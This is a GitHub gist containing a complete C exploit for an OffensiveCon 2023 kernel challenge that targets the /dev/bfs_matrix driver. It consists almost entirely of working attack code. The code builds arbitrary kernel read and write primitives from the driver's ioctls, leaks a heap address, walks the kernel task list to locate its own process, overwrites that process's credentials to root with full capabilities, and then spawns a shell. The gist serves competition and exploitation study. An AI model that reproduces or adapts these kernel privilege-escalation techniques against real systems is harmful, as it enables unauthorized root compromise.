Last active
August 18, 2023 16:20
-
-
Save arget13/d4006af981356cdfb0316a722a0c90e3 to your computer and use it in GitHub Desktop.
OffensiveCon 2023's kernel pwn chall's solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <err.h> | |
#include <sys/ioctl.h> | |
#include <string.h> | |
#include <stddef.h> | |
#include <sys/prctl.h> | |
#define DEVICE_NAME "/dev/bfs_matrix" | |
#define MAX_MATRIX_NAME 16 | |
#define IOCTL_MATRIX_SET_NAME _IOWR('s', 1, void*) | |
#define IOCTL_MATRIX_GET_NAME _IOWR('s', 2, void*) | |
#define IOCTL_MATRIX_GET_INFO _IOWR('s', 3, struct matrix_info) | |
#define IOCTL_MATRIX_SET_INFO _IOWR('s', 4, struct matrix_info) | |
#define IOCTL_MATRIX_GET_POS _IOWR('s', 5, struct matrix_pos) | |
#define IOCTL_MATRIX_SET_POS _IOWR('s', 6, struct matrix_pos) | |
#define IOCTL_MATRIX_DO_LINK _IOWR('s', 7, int) | |
struct matrix_info | |
{ | |
int rows; | |
int cols; | |
}; | |
struct matrix_pos | |
{ | |
int row; | |
int col; | |
uint8_t byte; | |
}; | |
// Undefine this if you don't want debug trazes | |
// #define DEBUG 1 | |
#ifdef DEBUG | |
#define DBG_PRINT(...) do { fprintf(stderr, __VA_ARGS__); } while (0) | |
#else | |
#define DBG_PRINT(...) do { } while (0) | |
#endif | |
// ---------------------------------------------------------------------------- | |
// Exploit primitives, you need to fill them! | |
uint64_t kread64(uint64_t addr); | |
void kwrite64(uint64_t addr, uint64_t value); | |
// ---------------------------------------------------------------------------- | |
// Helper functions for the exploit | |
uint32_t kread32(uint64_t addr) | |
{ | |
return kread64(addr); | |
} | |
void kwrite32(uint64_t addr, uint32_t value) | |
{ | |
uint32_t hi_dword = kread64(addr) >> 32; | |
kwrite64(addr, ((uint64_t) hi_dword << 32) | value); | |
} | |
// Given a task structure address, patches its credentials. | |
void patch_creds(uint64_t task_struct) | |
{ | |
#define DELTA_CREDS 0x498 | |
uint64_t task_creds = kread64(task_struct + DELTA_CREDS); | |
struct cred | |
{ | |
uint32_t usage; | |
uint32_t uid; /* real UID of the task */ | |
uint32_t gid; /* real GID of the task */ | |
uint32_t suid; /* saved UID of the task */ | |
uint32_t sgid; /* saved GID of the task */ | |
uint32_t euid; /* effective UID of the task */ | |
uint32_t egid; /* effective GID of the task */ | |
uint32_t fsuid; /* UID for VFS ops */ | |
uint32_t fsgid; /* GID for VFS ops */ | |
uint32_t securebits; /* SUID-less security management */ | |
uint64_t cap_inheritable; /* caps our children can inherit */ | |
uint64_t cap_permitted; /* caps we're permitted */ | |
uint64_t cap_effective; /* caps we can actually use */ | |
uint64_t cap_bset; /* capability bounding set */ | |
}; | |
#define GLOBAL_ROOT_UID 0 | |
#define GLOBAL_ROOT_GID 0 | |
#define SECURE_BITS_DEFAULT 0 | |
#define CAP_EMPTY_SET 0 | |
#define CAP_FULL_SET -1 | |
kwrite32(task_creds + offsetof(struct cred, uid), GLOBAL_ROOT_UID); | |
kwrite32(task_creds + offsetof(struct cred, gid), GLOBAL_ROOT_GID); | |
kwrite32(task_creds + offsetof(struct cred, suid), GLOBAL_ROOT_UID); | |
kwrite32(task_creds + offsetof(struct cred, sgid), GLOBAL_ROOT_GID); | |
kwrite32(task_creds + offsetof(struct cred, euid), GLOBAL_ROOT_UID); | |
kwrite32(task_creds + offsetof(struct cred, egid), GLOBAL_ROOT_GID); | |
kwrite32(task_creds + offsetof(struct cred, fsuid), GLOBAL_ROOT_UID); | |
kwrite32(task_creds + offsetof(struct cred, fsgid), GLOBAL_ROOT_GID); | |
kwrite32(task_creds + offsetof(struct cred, securebits), SECURE_BITS_DEFAULT); | |
kwrite64(task_creds + offsetof(struct cred, cap_inheritable), CAP_EMPTY_SET); | |
kwrite64(task_creds + offsetof(struct cred, cap_permitted), CAP_FULL_SET); | |
kwrite64(task_creds + offsetof(struct cred, cap_effective), CAP_FULL_SET); | |
kwrite64(task_creds + offsetof(struct cred, cap_bset), CAP_FULL_SET); | |
DBG_PRINT("[+] patched credentials %lx (task=%lx)\n", task_creds, task_struct); | |
} | |
// Receives the kernel base address and returns the task structure of the | |
// current task. | |
uint64_t lookup_current_task(uint64_t kbase) | |
{ | |
char new_task_name[] = "bfs_findme"; | |
if (prctl(PR_SET_NAME, new_task_name, 0, 0, 0) < 0) | |
errx(1, "couldn't set new task name"); | |
#define DELTA_INIT_TASK 0xa26600 | |
uint64_t init_task = kbase + DELTA_INIT_TASK; | |
#define DELTA_COMM 0x4a0 | |
#define DELTA_TASKS 0x230 | |
uint64_t current_task = init_task; | |
do | |
{ | |
char task_name[17] = {0}; | |
*(uint64_t*) &task_name[0] = kread64(current_task + DELTA_COMM); | |
*(uint64_t*) &task_name[8] = kread64(current_task + DELTA_COMM + 8); | |
printf("[*] %lx -> %s\n", current_task, task_name); | |
if (! strcmp(task_name, new_task_name)) | |
return current_task; | |
current_task = kread64(current_task + DELTA_TASKS) - DELTA_TASKS; | |
} while (current_task != init_task); | |
errx(1, "couldn't find current task"); | |
} | |
// ---------------------------------------------------------------------------- | |
// Interface for interacting with the driver | |
void matrix_do_link(int fd, int link_fd) | |
{ | |
if (ioctl(fd, IOCTL_MATRIX_DO_LINK, link_fd) < 0) | |
errx(1, "couldn't link matrix\n"); | |
DBG_PRINT("[*] matrix linked\n"); | |
} | |
uint8_t matrix_get_pos(int fd, int row, int col) | |
{ | |
struct matrix_pos pos = {0}; | |
pos.row = row; | |
pos.col = col; | |
if (ioctl(fd, IOCTL_MATRIX_GET_POS, &pos) < 0) | |
errx(1, "couldn't get matrix pos"); | |
DBG_PRINT("[*] matrix pos: matrix[%04d][%04d]=%02x\n", row, col, pos.byte); | |
return pos.byte; | |
} | |
void matrix_set_pos(int fd, int row, int col, uint8_t value) | |
{ | |
struct matrix_pos pos = {0}; | |
pos.row = row; | |
pos.col = col; | |
pos.byte = value; | |
if (ioctl(fd, IOCTL_MATRIX_SET_POS, &pos) < 0) | |
errx(1, "couldn't set matrix pos"); | |
DBG_PRINT("[*] updated matrix pos: matrix[%04d][%04d]=%02x\n", row, col, value); | |
} | |
struct matrix_info matrix_get_info(int fd) | |
{ | |
struct matrix_info info = {0}; | |
if (ioctl(fd, IOCTL_MATRIX_GET_INFO, &info) < 0) | |
errx(1, "couldn't get matrix info"); | |
DBG_PRINT("[*] matrix info: rows=%d columns=%d\n", info.rows, info.cols); | |
return info; | |
} | |
void matrix_set_info(int fd, int rows, int cols) | |
{ | |
struct matrix_info info = {0}; | |
info.rows = rows; | |
info.cols = cols; | |
if (ioctl(fd, IOCTL_MATRIX_SET_INFO, &info) < 0) | |
errx(1, "couldn't set matrix info"); | |
DBG_PRINT("[*] matrix info updated to: rows=%d columns=%d\n", rows, cols); | |
} | |
char* matrix_get_name(int fd) | |
{ | |
char name[MAX_MATRIX_NAME+1] = {0}; | |
if (ioctl(fd, IOCTL_MATRIX_GET_NAME, name) < 0) | |
errx(1, "couldn't get matrix name"); | |
DBG_PRINT("[*] matrix name: %s\n", name); | |
return strdup(name); | |
} | |
void matrix_set_name(int fd, char* name) | |
{ | |
if (ioctl(fd, IOCTL_MATRIX_SET_NAME, name) < 0) | |
errx(1, "couldn't set matrix name"); | |
DBG_PRINT("[*] matrix name updated\n"); | |
} | |
int matrix_new() | |
{ | |
int fd = open(DEVICE_NAME, O_RDWR); | |
if (fd < 0) | |
errx(1, "couldn't open device"); | |
DBG_PRINT("[*] new matrix fd: %d\n", fd); | |
return fd; | |
} | |
// ---------------------------------------------------------------------------- | |
// Exploit begins here | |
int matrix1, matrix2, matrix3; | |
uint64_t leak_heap() | |
{ | |
uint64_t val = 0; | |
// 8 * 9 = 72 = 64 + 8 | |
for(int i = 0; i < sizeof(val) - 1; ++i) | |
val |= (uint64_t) matrix_get_pos(matrix1, i, 8) << (i * 8); | |
// 11 * 13 = 143 = 64 * 2 + 8 + 7 | |
val |= (uint64_t) matrix_get_pos(matrix2, 0, 11) << 0x38; | |
return val; | |
} | |
void set_addr(uint64_t addr) | |
{ | |
matrix_do_link(matrix3, matrix1); | |
// 8 * 9 = 72 = 64 + 8 | |
matrix_set_pos(matrix3, 0, 8, (addr >> 0x00) & 0xff); | |
matrix_set_pos(matrix3, 1, 8, (addr >> 0x08) & 0xff); | |
matrix_set_pos(matrix3, 2, 8, (addr >> 0x10) & 0xff); | |
matrix_set_pos(matrix3, 3, 8, (addr >> 0x18) & 0xff); | |
matrix_set_pos(matrix3, 4, 8, (addr >> 0x20) & 0xff); | |
matrix_set_pos(matrix3, 5, 8, (addr >> 0x28) & 0xff); | |
matrix_set_pos(matrix3, 6, 8, (addr >> 0x30) & 0xff); | |
matrix_do_link(matrix3, matrix2); | |
// 11 * 13 = 143 = 64 * 2 + 8 + 7 | |
matrix_set_pos(matrix3, 0, 11, (addr >> 0x38) & 0xff); | |
} | |
uint64_t kread64(uint64_t addr) | |
{ | |
uint64_t val = 0; | |
set_addr(addr); | |
for(int i = 0; i < sizeof(val); ++i) | |
val |= (uint64_t) matrix_get_pos(matrix3, i, 0) << (i * 8); | |
return val; | |
} | |
void kwrite64(uint64_t addr, uint64_t value) | |
{ | |
set_addr(addr); | |
matrix_do_link(matrix3, matrix1); | |
matrix_set_pos(matrix1, 0, 0, (value >> 0x00) & 0xff); | |
matrix_set_pos(matrix1, 1, 0, (value >> 0x08) & 0xff); | |
matrix_set_pos(matrix1, 2, 0, (value >> 0x10) & 0xff); | |
matrix_set_pos(matrix1, 3, 0, (value >> 0x18) & 0xff); | |
matrix_set_pos(matrix1, 4, 0, (value >> 0x20) & 0xff); | |
matrix_set_pos(matrix1, 5, 0, (value >> 0x28) & 0xff); | |
matrix_set_pos(matrix1, 6, 0, (value >> 0x30) & 0xff); | |
matrix_set_pos(matrix1, 7, 0, (value >> 0x38) & 0xff); | |
} | |
#define CHUNKSZ 64 | |
#define COLS1 9 | |
#define ROWS1 ((CHUNKSZ) / (COLS1)) | |
#define COLS2 13 | |
#define ROWS2 ((CHUNKSZ) / (COLS2)) | |
int main(int argc, char* argv[argc + 1]) | |
{ | |
uint64_t heap_addr, task_struct; | |
for(int i = 0; i < 30; ++i) | |
fcntl(matrix_new(), F_SETFD, FD_CLOEXEC); | |
int aux1 = matrix_new(), | |
aux2 = matrix_new(); | |
matrix3 = matrix_new(); | |
matrix1 = matrix_new(); | |
matrix2 = matrix_new(); | |
// Get matrix1's buffer before matrix3's structure | |
// and matrix2's buffer before matrix1's buffer (64-byte chunks) | |
close(aux1); | |
close(aux2); | |
matrix_set_info(matrix1, ROWS1, COLS1); | |
matrix_set_info(matrix2, ROWS2, COLS2); | |
matrix_set_info(matrix3, 8, 8); | |
heap_addr = leak_heap(); | |
printf("[+] heap_addr\t: %lx\n", heap_addr); | |
task_struct = kread64(heap_addr - CHUNKSZ + 40); | |
printf("[+] task_struct\t: %lx\n", task_struct); | |
patch_creds(task_struct); | |
// Prevent matrix_release() from writing a NULL somewhere problematic | |
// (through kfree() when freeing the data pointer) | |
set_addr(0); | |
close(matrix1); close(matrix2); close(matrix3); | |
execl("/bin/sh", "sh", NULL); | |
return EXIT_SUCCESS; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment